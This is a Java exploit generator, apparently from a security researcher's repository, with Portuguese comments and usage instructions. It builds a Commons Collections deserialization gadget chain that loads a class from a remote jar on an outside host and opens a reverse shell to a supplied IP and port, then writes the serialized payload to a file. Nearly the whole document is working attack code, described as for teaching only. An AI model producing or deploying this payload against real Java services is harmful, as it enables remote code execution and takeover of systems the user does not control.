README.md
Rendering markdown...
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gera payload com gadget chain para carregar e executar uma classe remota
* (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
* do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
* a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
* Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
* o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
* de um LazyMap decorado com a ChainedTransformers.
* Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser.
*
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos.
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA
*
* @author @joaomatosf
*/
public class ReverseShellCommonsCollectionsHashMap {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
String host = null;
int port = 1331;
// Verifica se o usuário forneceu o comando a ser executado
if (args.length != 1 || args[0].split(":").length != 2 ) {
System.out.println("Invalid params! \n" +
"Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\"");
System.exit(1);
}
host = args[0].split(":")[0];
port = Integer.parseInt(args[0].split(":")[1]);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(
new Class[]{
URL[].class
},
new Object[]{
new URL[]{new URL(remoteJar)}
}),
new InvokerTransformer("loadClass",
new Class[]{
String.class
},
new Object[]{
"JexReverse"
}),
new InstantiateTransformer(
new Class[]{ String.class, int.class },
new Object[]{ host, port }
)
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map1 = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map1,transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
// Serializa o objeto
System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
}
}